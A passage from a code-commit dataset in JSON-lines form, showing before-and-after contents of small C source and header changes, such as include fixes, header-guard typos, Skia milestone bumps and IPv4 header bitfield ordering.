aksoup\/gpdb,techdragon\/Postgres-XL,postmind-net\/postgres-xl,greenplum-db\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,ovr\/postgres-xl,rvs\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,yazun\/postgres-xl,xuegang\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,royc1\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,lintzc\/gpdb,lintzc\/gpdb,Chibin\/gpdb,randomtask1155\/gpdb,randomtask1155\/gpdb,kmjungersen\/PostgresXL,zaksoup\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,lintzc\/gpdb,pavanvd\/postgres-xl,kaknikhil\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,royc1\/gpdb,rvs\/gpdb,lisakowen\/gpdb,ahachete\/gpdb,royc1\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,kmjungersen\/PostgresXL,cjcjameson\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,arcivanov\/postgres-xl,pavanvd\/postgres-xl,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,lpetrov-pivotal\/gpdb,royc1\/gpdb,xuegang\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,snaga\/postgres-xl,royc1\/gpdb,atris\/gpdb,50wu\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,arcivanov\/postgres-xl,ovr\/postgres-xl,lintzc\/gpdb,kaknikhil\/gpdb,postmind-net\/postgres-xl,janebeckman\/gpdb,adam8157\/gpdb,ahachete\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,ashwinstar\/gpdb,randomtask1155\/gpdb,pavanvd\/postgres-xl,kaknikhil\/gpdb,kmjungersen\/PostgresXL,Quikling\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,yuanzhao\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,yazun\/postgres-xl,greenplum-db\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,Postgres-XL\/Postgres-XL,snaga\/postgres-xl,0x0FFF\/gpdb,ahachete\/gpdb,tpostgres-projects\/tPostgres,tangp3\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,adam8157\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,50wu\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,CraigHarris\/gpdb,techdragon\/Postgres-XL,0x0FFF\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,ahachete\/gpdb,rubikloud\/gpdb,tpostgres-projects\/tPostgres,50wu\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,kaknikhil\/gpdb,oberstet\/postgres-xl,rvs\/gpdb,xuegang\/gpdb,rvs\/gpdb,Chibin\/gpdb,50wu\/gpdb,ahachete\/gpdb,oberstet\/postgres-xl,rubikloud\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,atris\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,tpostgres-projects\/tPostgres,arcivanov\/postgres-xl,kaknikhil\/gpdb,xinzweb\/gpdb"}
{"commit":"748043fe0214c54be16fadc8fa9b2f50cadfa602","old_file":"libc\/signal\/sigsetops.c","new_file":"libc\/signal\/sigsetops.c","old_contents":"\/* Define the real-function versions of all inline functions\n   defined in signal.h (or bits\/sigset.h).  *\/\n\n#include <features.h>\n\n#define _EXTERN_INLINE\n#ifndef __USE_EXTERN_INLINES\n# define __USE_EXTERN_INLINES\t1\n#endif\n\n#include \"signal.h\"\n","new_contents":"\/* Define the real-function versions of all inline functions\n   defined in signal.h (or bits\/sigset.h).  *\/\n\n#include <features.h>\n\n#define _EXTERN_INLINE\n#ifndef __USE_EXTERN_INLINES\n# define __USE_EXTERN_INLINES\t1\n#endif\n\n#include <signal.h>\n","subject":"Use <> instead of \\\"\\\"","message":"Use <> instead of \\\"\\\"\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"79ac2da646ed6285fc64d6c9e7ba13f1f237be0d","old_file":"test\/CodeGen\/pr9614.c","new_file":"test\/CodeGen\/pr9614.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nextern void foo_alias (void) __asm (\"foo\");\ninline void foo (void) {\n  return foo_alias ();\n}\nextern void bar_alias (void) __asm (\"bar\");\ninline __attribute__ ((__always_inline__)) void bar (void) {\n  return bar_alias ();\n}\nextern char *strrchr_foo (const char *__s, int __c)  __asm (\"strrchr\");\nextern inline __attribute__ ((__always_inline__)) __attribute__ ((__gnu_inline__)) char * strrchr_foo (const char *__s, int __c)  {\n  return __builtin_strrchr (__s, __c);\n}\nvoid f(void) {\n  foo();\n  bar();\n  strrchr_foo(\"\", '.');\n}\n\n\/\/ CHECK: define void @f()\n\/\/ CHECK: call void @foo()\n\/\/ CHECK-NEXT: call void @bar()\n\/\/ CHECK-NEXT: call i8* @strrchr(\n\/\/ CHECK-NEXT: ret void\n\n\/\/ CHECK: declare void @foo()\n\/\/ CHECK: declare void @bar()\n\/\/ CHECK: declare i8* @strrchr(i8*, i32)\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-linux -emit-llvm %s -o - | FileCheck %s\n\nextern void foo_alias (void) __asm (\"foo\");\ninline void foo (void) {\n  return foo_alias ();\n}\nextern void bar_alias (void) __asm (\"bar\");\ninline __attribute__ ((__always_inline__)) void bar (void) {\n  return bar_alias ();\n}\nextern char *strrchr_foo (const char *__s, int __c)  __asm (\"strrchr\");\nextern inline __attribute__ ((__always_inline__)) __attribute__ ((__gnu_inline__)) char * strrchr_foo (const char *__s, int __c)  {\n  return __builtin_strrchr (__s, __c);\n}\nvoid f(void) {\n  foo();\n  bar();\n  strrchr_foo(\"\", '.');\n}\n\n\/\/ CHECK: define void @f()\n\/\/ CHECK: call void @foo()\n\/\/ CHECK-NEXT: call void @bar()\n\/\/ CHECK-NEXT: call i8* @strrchr(\n\/\/ CHECK-NEXT: ret void\n\n\/\/ CHECK: declare void @foo()\n\/\/ CHECK: declare void @bar()\n\/\/ CHECK: declare i8* @strrchr(i8*, i32)\n","subject":"Add a triple to the test.","message":"Add a triple to the test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@146871 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"8993b1ede652b3c81b1cae873a00716b3dd8545d","old_file":"include\/ipv4.h","new_file":"include\/ipv4.h","old_contents":"#ifndef IPV4_H\n#define IPV4_H\n#include \"syshead.h\"\n\n#include \"netdev.h\"\n\n#define IPV4 0x04\n\n#define ICMPV4 0x01\n\nstruct iphdr {\n    uint8_t version : 4;\n    uint8_t ihl : 4;\n    uint8_t tos;\n    uint16_t len;\n    uint16_t id;\n    uint16_t flags : 3;\n    uint16_t frag_offset : 13;\n    uint8_t ttl;\n    uint8_t proto;\n    uint16_t csum;\n    uint32_t saddr;\n    uint32_t daddr;\n} __attribute__((packed));\n    \nvoid ipv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\n    \n#endif\n","new_contents":"#ifndef IPV4_H\n#define IPV4_H\n#include \"syshead.h\"\n\n#include \"netdev.h\"\n\n#define IPV4 0x04\n\n#define ICMPV4 0x01\n\nstruct iphdr {\n    uint8_t ihl : 4; \/* TODO: Support Big Endian hosts *\/\n    uint8_t version : 4;\n    uint8_t tos;\n    uint16_t len;\n    uint16_t id;\n    uint16_t flags : 3;\n    uint16_t frag_offset : 13;\n    uint8_t ttl;\n    uint8_t proto;\n    uint16_t csum;\n    uint32_t saddr;\n    uint32_t daddr;\n} __attribute__((packed));\n    \nvoid ipv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\n    \n#endif\n","subject":"Swap fields in IPv4 header because of little endianness","message":"Swap fields in IPv4 header because of little endianness\n\nThis should be handled more gracefully. Now, little endian byte order\nis assumed.\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"1e072dd1f87c672e871185d87b08ade975d2ebea","old_file":"src\/plugins\/zlib\/istream-bzlib.c","new_file":"src\/plugins\/zlib\/istream-bzlib.c","old_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","new_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <stdio.h>\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","subject":"Include stdio.h in case bzlib.h needs it.","message":"bzlib: Include stdio.h in case bzlib.h needs it.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch"}
{"commit":"9f600fc1d08d458c8ddebe839ee108dd3da324cc","old_file":"src\/socketmanager.h","new_file":"src\/socketmanager.h","old_contents":"#pragma once\n#include \"main.h\"\n#include \"logmanager.h\"\n#include \"modtypes\/socket.h\"\n\nconst std::set<unsigned int> sockAPIVersions { 3000 };\n\nclass SocketManager {\n\tpublic:\n\t\tstd::shared_ptr<Socket> getSocket(const std::string& socketType);\n\tprivate:\n\t\tvoid removeSocket(const std::string& socketType, void* sockFile, Socket* deletingSocket);\n};\n\nclass SocketLoadFailed : public std::exception {\n\tpublic:\n\t\tSocketLoadFailed(std::string&& desc) : description(std::forward<std::string>(desc)) {}\n\t\tconst char* what() const noexcept { return description.c_str(); }\n\tprivate:\n\t\tstd::string description;\n};\n\nclass SocketAPIMismatch : public std::exception {\n\tpublic:\n\t\tconst char* what() const noexcept { return \"The socket module is not compatible with the current module API.\"; }\n};\n\nclass SocketOperationFailed : public std::exception {\n\tpublic:\n\t\tSocketConnectFailed(std::string&& desc) : description(std::forward<std::string>(desc)) {}\n\t\tconst char* what() const noexcept { return description.c_str(); }\n\tprivate:\n\t\tstd::string description;\n};","new_contents":"#pragma once\n#include \"main.h\"\n#include \"logmanager.h\"\n#include \"modtypes\/socket.h\"\n\nconst std::set<unsigned int> sockAPIVersions { 3000 };\n\nclass SocketManager {\n\tpublic:\n\t\tstd::shared_ptr<Socket> getSocket(const std::string& socketType);\n\tprivate:\n\t\tvoid removeSocket(const std::string& socketType, void* sockFile, Socket* deletingSocket);\n};\n\nclass SocketLoadFailed : public std::exception {\n\tpublic:\n\t\tSocketLoadFailed(std::string&& desc) : description(std::forward<std::string>(desc)) {}\n\t\tconst char* what() const noexcept { return description.c_str(); }\n\tprivate:\n\t\tstd::string description;\n};\n\nclass SocketAPIMismatch : public std::exception {\n\tpublic:\n\t\tconst char* what() const noexcept { return \"The socket module is not compatible with the current module API.\"; }\n};\n\nclass SocketOperationFailed : public std::exception {\n\tpublic:\n\t\tSocketOperationFailed(std::string&& desc) : description(std::forward<std::string>(desc)) {}\n\t\tconst char* what() const noexcept { return description.c_str(); }\n\tprivate:\n\t\tstd::string description;\n};","subject":"Fix me missing the name","message":"Fix me missing the name\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"9b5dba2ddba450639ceebdea107dca8186c6d567","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 82\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 83\n#endif\n","subject":"Update Skia milestone to 83","message":"Update Skia milestone to 83\n\nChange-Id: I7b62a8c94d1afde1bbec0c476ef8cf8d0e09b677\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/276636\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"93d7d23a3a2d293da998187cdc9d628086a60d5f","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 61\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 62\n#endif\n","subject":"Update Skia milestone to 62","message":"Update Skia milestone to 62\n\nBug: skia:\nChange-Id: I94c906422508a75a859c7c780abf520a6083cbf8\nReviewed-on: https:\/\/skia-review.googlesource.com\/25360\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"49fe535bce258eb657ca32e34ef0c50667db044b","old_file":"include\/drivers\/brcm\/scp.h","new_file":"include\/drivers\/brcm\/scp.h","old_contents":"\/*\n * Copyright (c) 2017 - 2020, Broadcom\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef SCP_H_\n#define SCP_H\n\n#include <stdint.h>\n\nint download_scp_patch(void *image, unsigned int image_size);\n\n#endif \/* SCP_H *\/\n","new_contents":"\/*\n * Copyright (c) 2017 - 2020, Broadcom\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef SCP_H\n#define SCP_H\n\n#include <stdint.h>\n\nint download_scp_patch(void *image, unsigned int image_size);\n\n#endif \/* SCP_H *\/\n","subject":"Fix typo in file Header guard","message":"Fix typo in file Header guard\n\nSigned-off-by: Sheetal Tigadoli <7654421d81697baabc5c00f5d81122a6be70fe2d@broadcom.com>\nChange-Id: Iaf6deaeee2069720518221157edbb052bc42850a\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"3db51645690be7bf42e954bd154974b5cb5919a9","old_file":"src\/main\/c++\/RefCache.h","new_file":"src\/main\/c++\/RefCache.h","old_contents":"#ifndef __REFCACHE_H__\n#define __REFCACHE_H__\n\n\/\/ Class\/Method\/Field ID caching\n\n\/\/ Cache of frequently-used class references\nstruct _classRef {\n\tjclass classID;\n\tconst char *className;\n};\ntypedef struct _classRef classRef;\n\n\/\/ Cache of frequently-used method references\nstruct _methodRef {\n\tjmethodID methodID;\n\tconst int classIndex;\n\tconst char *methodName;\n\tconst char *methodSignature;\n};\ntypedef struct _methodRef methodRef;\n\n\/\/ Cache of frequently-used field references\nstruct _fieldRef {\n\tjfieldID fieldID;\n\tconst int classIndex;\n\tconst char *fieldName;\n\tconst char *fieldSignature;\n};\ntypedef struct _fieldRef fieldRef;\n\nclass RefCache {\npublic:\n\tRefCache(classRef *cr, methodRef *mr, fieldRef *fr) {\n\t\tclassRefCache = cr;\n\t\tmethodRefCache = mr;\n\t\tfieldRefCache = fr;\n\t}\n\tjint setUp(JNIEnv *env);\n\tvoid tearDown(JNIEnv *env);\n\nprivate:\n\tclassRef *classRefCache;\n\tmethodRef *methodRefCache;\n\tfieldRef *fieldRefCache;\n};\n\n#endif \/\/ __REFCACHE_H__\n","new_contents":"#ifndef __REFCACHE_H__\n#define __REFCACHE_H__\n\n\/\/ Class\/Method\/Field ID caching\n\n\/\/ Cache of frequently-used class references\nstruct _classRef {\n\tjclass classID;\n\tconst char *className;\n};\ntypedef struct _classRef classRef;\n\n\/\/ Cache of frequently-used method references\nstruct _methodRef {\n\tjmethodID methodID;\n\tint classIndex; \/\/ Would be const int if it weren't for VC6\n\tconst char *methodName;\n\tconst char *methodSignature;\n};\ntypedef struct _methodRef methodRef;\n\n\/\/ Cache of frequently-used field references\nstruct _fieldRef {\n\tjfieldID fieldID;\n\tint classIndex; \/\/ Would be const int if it weren't for VC6\n\tconst char *fieldName;\n\tconst char *fieldSignature;\n};\ntypedef struct _fieldRef fieldRef;\n\nclass RefCache {\npublic:\n\tRefCache(classRef *cr, methodRef *mr, fieldRef *fr) {\n\t\tclassRefCache = cr;\n\t\tmethodRefCache = mr;\n\t\tfieldRefCache = fr;\n\t}\n\tjint setUp(JNIEnv *env);\n\tvoid tearDown(JNIEnv *env);\n\nprivate:\n\tclassRef *classRefCache;\n\tmethodRef *methodRefCache;\n\tfieldRef *fieldRefCache;\n};\n\n#endif \/\/ __REFCACHE_H__\n","subject":"Remove constness of int fields to enable it to build on VC6.0","message":"Remove constness of int fields to enable it to build on VC6.0\n","lang":"C","license":"apache-2.0","repos":"201270842\/devzendo-org-xpfsa,steveturner\/devzendo-org-xpfsa,steveturner\/devzendo-org-xpfsa,201270842\/devzendo-org-xpfsa,201270842\/devzendo-org-xpfsa,steveturner\/devzendo-org-xpfsa,steveturner\/devzendo-org-xpfsa,201270842\/devzendo-org-xpfsa"}
{"commit":"8e2cc0f4fff1a414b4ea5a0d27d1a6eb8ba303ef","old_file":"sys\/i386\/svr4\/svr4_genassym.c","new_file":"sys\/i386\/svr4\/svr4_genassym.c","old_contents":"\/* $FreeBSD$ *\/\n\/* Derived from:  Id: linux_genassym.c,v 1.8 1998\/07\/29 15:50:41 bde Exp *\/\n\n#include <sys\/assym.h>\n#include <sys\/param.h>\n\nstruct proc;\n\n#include <svr4\/svr4.h>\n#include <svr4\/svr4_signal.h>\n#include <svr4\/svr4_ucontext.h>\n\n\/* XXX: This bit sucks rocks, but gets rid of compiler errors.  Maybe I should\n * fix the include files instead... *\/\n#define SVR4_MACHDEP_JUST_REGS\n#include <i386\/svr4\/svr4_machdep.h>\n\nASSYM(SVR4_SIGF_HANDLER, offsetof(struct svr4_sigframe, sf_handler));\nASSYM(SVR4_SIGF_UC, offsetof(struct svr4_sigframe, sf_uc));\nASSYM(SVR4_UC_FS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_FS]));\nASSYM(SVR4_UC_GS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_GS]));\nASSYM(SVR4_UC_EFLAGS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_EFL]));\n","new_contents":"\/* $FreeBSD$ *\/\n\/* Derived from:  Id: linux_genassym.c,v 1.8 1998\/07\/29 15:50:41 bde Exp *\/\n\n#include <stddef.h>\n\n#include <sys\/param.h>\n#include <sys\/assym.h>\n\n#include <svr4\/svr4_signal.h>\n#include <svr4\/svr4_ucontext.h>\n\n\/* XXX: This bit sucks rocks, but gets rid of compiler errors.  Maybe I should\n * fix the include files instead... *\/\n#define SVR4_MACHDEP_JUST_REGS\n#include <i386\/svr4\/svr4_machdep.h>\n\nASSYM(SVR4_SIGF_HANDLER, offsetof(struct svr4_sigframe, sf_handler));\nASSYM(SVR4_SIGF_UC, offsetof(struct svr4_sigframe, sf_uc));\nASSYM(SVR4_UC_FS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_FS]));\nASSYM(SVR4_UC_GS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_GS]));\nASSYM(SVR4_UC_EFLAGS, offsetof(struct svr4_ucontext,\n    uc_mcontext.greg[SVR4_X86_EFL]));\n","subject":"Include <stddef.h> here so that <sys\/assym.h> can be unpolluted.","message":"Include <stddef.h> here so that <sys\/assym.h> can be unpolluted.\n\nInclude <sys\/param.h> before <sys\/assym.h> in case any of the magic\nin the former is ever needed in the latter.\n\nRemoved an unused forward declaration and an unused include.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"fc64ea2e8498367046f6f253a71cfe5d855f434d","old_file":"lib\/sfdpgen\/sfdpinternal.h","new_file":"lib\/sfdpgen\/sfdpinternal.h","old_contents":"","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef SFDPINTERNAL_H\n#define SFDPINTERNAL_H\n\n#include <sfdp.h>\n\n#ifdef DEBUG\nextern double _statistics[10];\n#endif\n\ntypedef double real;\n\n#endif\n","subject":"Install original sfdp files, with development logs; recommit new sfdp files","message":"Install original sfdp files, with development logs;\nrecommit new sfdp files\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,kbrock\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz"}
{"commit":"6b5db364f5e67e85e6dfdc9865d538b7685b8577","old_file":"src\/lpc17xx\/timer.c","new_file":"src\/lpc17xx\/timer.c","old_contents":"#include \"LPC17xx.h\"\n#include \"lpc_types.h\"\n#include \"lpc17xx_timer.h\"\n#include \"timer.h\"\n\n#define SYSTEM_CLOCK_TIMER LPC_TIM3\n#define DELAY_TIMER LPC_TIM0\n\nvoid TIMER3_IRQHandler() { }\n\nvoid delayMs(int delayInMs) {\n    TIM_TIMERCFG_Type delayTimerConfig;\n    TIM_ConfigStructInit(TIM_TIMER_MODE, &delayTimerConfig);\n    TIM_Init(DELAY_TIMER, TIM_TIMER_MODE, &delayTimerConfig);\n\n    DELAY_TIMER->PR  = 0x00;        \/* set prescaler to zero *\/\n    DELAY_TIMER->MR0 = (SystemCoreClock \/ 4) \/ (1000 \/ delayInMs);  \/\/enter delay time\n    DELAY_TIMER->IR  = 0xff;        \/* reset all interrupts *\/\n    DELAY_TIMER->MCR = 0x04;        \/* stop timer on match *\/\n\n    TIM_Cmd(DELAY_TIMER, ENABLE);\n\n    \/* wait until delay time has elapsed *\/\n    while (DELAY_TIMER->TCR & 0x01);\n}\n\nunsigned long systemTimeMs() {\n    return SYSTEM_CLOCK_TIMER->TC;\n}\n\nvoid initializeTimers() {\n    TIM_TIMERCFG_Type systemClockTimerConfig;\n    TIM_ConfigStructInit(TIM_TIMER_MODE, &systemClockTimerConfig);\n    TIM_Init(SYSTEM_CLOCK_TIMER, TIM_TIMER_MODE, &systemClockTimerConfig);\n    TIM_Cmd(SYSTEM_CLOCK_TIMER, ENABLE);\n}\n","new_contents":"#include \"LPC17xx.h\"\n#include \"lpc_types.h\"\n#include \"lpc17xx_timer.h\"\n#include \"timer.h\"\n\n#define SYSTEM_CLOCK_TIMER LPC_TIM3\n#define DELAY_TIMER LPC_TIM0\n\nvoid delayMs(int delayInMs) {\n    TIM_TIMERCFG_Type delayTimerConfig;\n    TIM_ConfigStructInit(TIM_TIMER_MODE, &delayTimerConfig);\n    TIM_Init(DELAY_TIMER, TIM_TIMER_MODE, &delayTimerConfig);\n\n    DELAY_TIMER->PR  = 0x00;        \/* set prescaler to zero *\/\n    DELAY_TIMER->MR0 = (SystemCoreClock \/ 4) \/ (1000 \/ delayInMs);  \/\/enter delay time\n    DELAY_TIMER->IR  = 0xff;        \/* reset all interrupts *\/\n    DELAY_TIMER->MCR = 0x04;        \/* stop timer on match *\/\n\n    TIM_Cmd(DELAY_TIMER, ENABLE);\n\n    \/* wait until delay time has elapsed *\/\n    while (DELAY_TIMER->TCR & 0x01);\n}\n\nunsigned long systemTimeMs() {\n    return SYSTEM_CLOCK_TIMER->TC;\n}\n\nvoid initializeTimers() {\n    TIM_TIMERCFG_Type systemClockTimerConfig;\n    systemClockTimerConfig.PrescaleOption = TIM_PRESCALE_TICKVAL;\n    